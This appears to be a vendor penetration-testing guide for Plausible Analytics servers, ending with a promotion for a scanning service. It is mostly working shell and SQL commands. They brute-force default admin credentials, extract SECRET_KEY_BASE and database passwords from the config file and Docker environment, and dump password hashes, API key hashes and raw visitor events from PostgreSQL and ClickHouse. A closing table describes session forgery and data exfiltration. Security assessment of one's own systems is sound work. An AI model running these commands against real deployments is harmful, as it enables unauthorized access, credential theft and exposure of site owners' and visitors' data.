Plausible Analytics is a widely deployed open-source privacy-first analytics platform (Google Analytics alternative) used to track website traffic, conversions, and user behavior — the irony of a "privacy" analytics tool being misconfigured is significant. Key assessment areas: SECRET_KEY_BASE signs Phoenix session tokens; the Stats API with API key exposes all traffic data for tracked sites; ClickHouse stores all raw pageview events with visitor fingerprints; PostgreSQL stores all site configurations, goals, and funnels; and publicly shared dashboard links may bypass authentication entirely. Plausible compromise exposes competitor traffic intelligence, conversion funnels, and marketing campaign performance data. This guide covers systematic Plausible Analytics security assessment.
# Plausible Analytics — authentication and API key testing
PLAUSIBLE_URL="https://plausible.example.com"
# Plausible login — test admin credentials
for CRED in "admin@example.com:plausible" "admin@plausible.io:password" "admin@example.com:admin" "admin@example.com:password123"; do
EMAIL=$(echo $CRED | cut -d: -f1)
PASS=$(echo $CRED | cut -d: -f2)
AUTH=$(curl -s -X POST "${PLAUSIBLE_URL}/api/v1/auth/sign_in" \
-H "Content-Type: application/json" \
-d "{\"email\":\"${EMAIL}\",\"password\":\"${PASS}\"}" 2>/dev/null)
STATUS=$(echo "$AUTH" | python3 -c "
import json,sys
try:
d=json.load(sys.stdin)
print('OK' if d.get('token') else 'FAIL: '+str(list(d.keys()))[:50])
except:
print('FAIL')
" 2>/dev/null)
echo "${EMAIL}/${PASS}: ${STATUS}"
done
# Check if registration is open (DISABLE_REGISTRATION env var)
curl -s "${PLAUSIBLE_URL}/register" 2>/dev/null | grep -i "register\|sign.up" | head -3
# Test Stats API key
API_KEY="your-plausible-api-key"
SITE="example.com"
curl -s "${PLAUSIBLE_URL}/api/v1/stats/aggregate?site_id=${SITE}&metrics=visitors,pageviews,bounce_rate,visit_duration&period=30d" \
-H "Authorization: Bearer ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
results = d.get('results',{})
print(f'30-day stats for ${SITE}:')
for k,v in results.items():
print(f' {k}: {v.get(\"value\")}')
" 2>/dev/null
# List all tracked sites (with admin/user access)
curl -s "${PLAUSIBLE_URL}/api/v1/sites" \
-H "Authorization: Bearer ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
sites = d.get('sites',[])
print(f'Tracked sites: {len(sites)}')
for s in sites[:10]:
print(f' {s.get(\"domain\")} timezone={s.get(\"timezone\")}')
" 2>/dev/null
# Plausible Stats API — comprehensive traffic data enumeration
PLAUSIBLE_URL="https://plausible.example.com"
API_KEY="your-plausible-api-key"
SITE="example.com"
# Top pages — reveals which content/products drive traffic
curl -s "${PLAUSIBLE_URL}/api/v1/stats/breakdown?site_id=${SITE}&property=event:page&metrics=visitors,pageviews,time_on_page&period=30d&limit=50" \
-H "Authorization: Bearer ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
results = d.get('results',[])
print(f'Top {len(results)} pages by visitor count:')
for r in results[:10]:
print(f' {r.get(\"page\",\"\")}: {r.get(\"visitors\")} visitors, {r.get(\"pageviews\")} views')
" 2>/dev/null
# Traffic sources — reveals marketing channels and campaigns
curl -s "${PLAUSIBLE_URL}/api/v1/stats/breakdown?site_id=${SITE}&property=visit:source&metrics=visitors,bounce_rate&period=30d&limit=50" \
-H "Authorization: Bearer ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
results = d.get('results',[])
print(f'Traffic sources:')
for r in results[:10]:
print(f' {r.get(\"source\",\"\")}: {r.get(\"visitors\")} visitors, bounce={r.get(\"bounce_rate\")}%')
" 2>/dev/null
# UTM campaigns — reveals all marketing campaigns and their performance
curl -s "${PLAUSIBLE_URL}/api/v1/stats/breakdown?site_id=${SITE}&property=visit:utm_campaign&metrics=visitors,pageviews&period=30d&limit=50" \
-H "Authorization: Bearer ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
results = d.get('results',[])
print(f'UTM campaigns:')
for r in results[:10]:
print(f' {r.get(\"utm_campaign\",\"\")}: {r.get(\"visitors\")} visitors')
" 2>/dev/null
# Goals/conversions — reveals conversion funnel performance and targets
curl -s "${PLAUSIBLE_URL}/api/v1/stats/breakdown?site_id=${SITE}&property=event:goal&metrics=visitors,events,conversion_rate&period=30d&limit=50" \
-H "Authorization: Bearer ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
results = d.get('results',[])
print(f'Goal conversions:')
for r in results[:10]:
print(f' {r.get(\"goal\",\"\")}: {r.get(\"visitors\")} visitors, rate={r.get(\"conversion_rate\")}%')
" 2>/dev/null
# Plausible SECRET_KEY_BASE and database credential extraction
# .env file — Plausible configuration
cat /app/plausible-conf.env 2>/dev/null | grep -E "SECRET_KEY_BASE|DATABASE_URL|CLICKHOUSE|REDIS|SMTP|MAILER"
# SECRET_KEY_BASE — Phoenix session signing key
# DATABASE_URL — PostgreSQL connection string
# CLICKHOUSE_DATABASE_URL — ClickHouse connection string
# Docker environment variables
docker inspect plausible 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
for e in c.get('Config',{}).get('Env',[]):
if any(k in e for k in ['SECRET_KEY_BASE','DATABASE','CLICKHOUSE','REDIS','SMTP','PASSWORD','TOTP']):
print(e)
" 2>/dev/null
# PostgreSQL — site configurations and user data
DB_URL="postgresql://postgres:PASSWORD@localhost/plausible_db"
psql "$DB_URL" 2>/dev/null << 'EOF'
-- All tracked sites and their configurations
SELECT id, domain, timezone, ingest_rate_limit_scale_seconds,
created_at
FROM sites
ORDER BY created_at DESC
LIMIT 20;
EOF
-- All API keys (for accessing Stats API)
psql "$DB_URL" 2>/dev/null << 'EOF'
SELECT ak.id, ak.name, ak.key_hash,
ak.scopes, ak.hourly_request_limit,
u.email as owner, ak.inserted_at
FROM api_keys ak
JOIN users u ON ak.user_id = u.id
ORDER BY ak.inserted_at DESC
LIMIT 10;
EOF
-- key_hash is SHA256 — if you find the plaintext key elsewhere, verify here
-- Users
psql "$DB_URL" 2>/dev/null << 'EOF'
SELECT id, email, name, password_hash, trial_expiry_date,
inserted_at, last_seen
FROM users
ORDER BY inserted_at ASC
LIMIT 10;
EOF
-- Goals and custom events
psql "$DB_URL" 2>/dev/null << 'EOF'
SELECT g.id, g.event_name, g.page_path,
s.domain as site_domain,
g.inserted_at
FROM goals g
JOIN sites s ON g.site_id = s.id
ORDER BY g.inserted_at DESC
LIMIT 20;
EOF
# ClickHouse — all raw pageview events
CLICKHOUSE_URL="http://localhost:8123"
curl -s "${CLICKHOUSE_URL}/?query=SELECT+domain,+pathname,+referrer,+utm_campaign,+utm_source,+utm_medium,+country_code,+city_geoname_id,+session_id,+user_id,+timestamp+FROM+events_v2+WHERE+domain='example.com'+ORDER+BY+timestamp+DESC+LIMIT+20+FORMAT+JSONEachRow" 2>/dev/null | head -20
# Contains: all pageviews with visitor fingerprint (user_id), URL, referrer, UTM params, geo
| Security Test | Method | Risk |
|---|---|---|
| SECRET_KEY_BASE extraction and Phoenix session forgery | Read plausible-conf.env SECRET_KEY_BASE — Phoenix session signing key; forge valid session cookies for any Plausible user; full access to all site analytics dashboards | Critical |
| Stats API key extraction and business intelligence exfiltration | API GET /api/v1/stats/breakdown — top pages, traffic sources, UTM campaigns, conversion goals; complete marketing intelligence and business performance data for all tracked sites | High |
| ClickHouse direct query for raw pageview events | HTTP query to :8123 if unauthenticated — SELECT from events_v2 all visitor session data including fingerprints, page sequences, UTM params; full behavioral analytics data outside Plausible access controls | High |
| PostgreSQL goals and site configuration extraction | SELECT from goals — all conversion goal definitions revealing product-critical KPIs; SELECT from sites — all tracked domains; SELECT from users — account enumeration | Medium |
| Shared dashboard link enumeration | Test /share/{domain}?auth= with guessable slugs — public read-only access to site traffic stats without authentication; URL format is predictable | Medium |
Ironimo tests Plausible Analytics deployments for SECRET_KEY_BASE extraction and Phoenix session forgery, Stats API key extraction and traffic intelligence exfiltration, ClickHouse unauthenticated HTTP interface access for raw pageview data, PostgreSQL goals/sites/users extraction, shared dashboard link enumeration and access testing, open registration status, admin credential brute force, TOTP enforcement assessment, Docker environment variable exposure, and plausible-conf.env plaintext credential disclosure.
Start free scan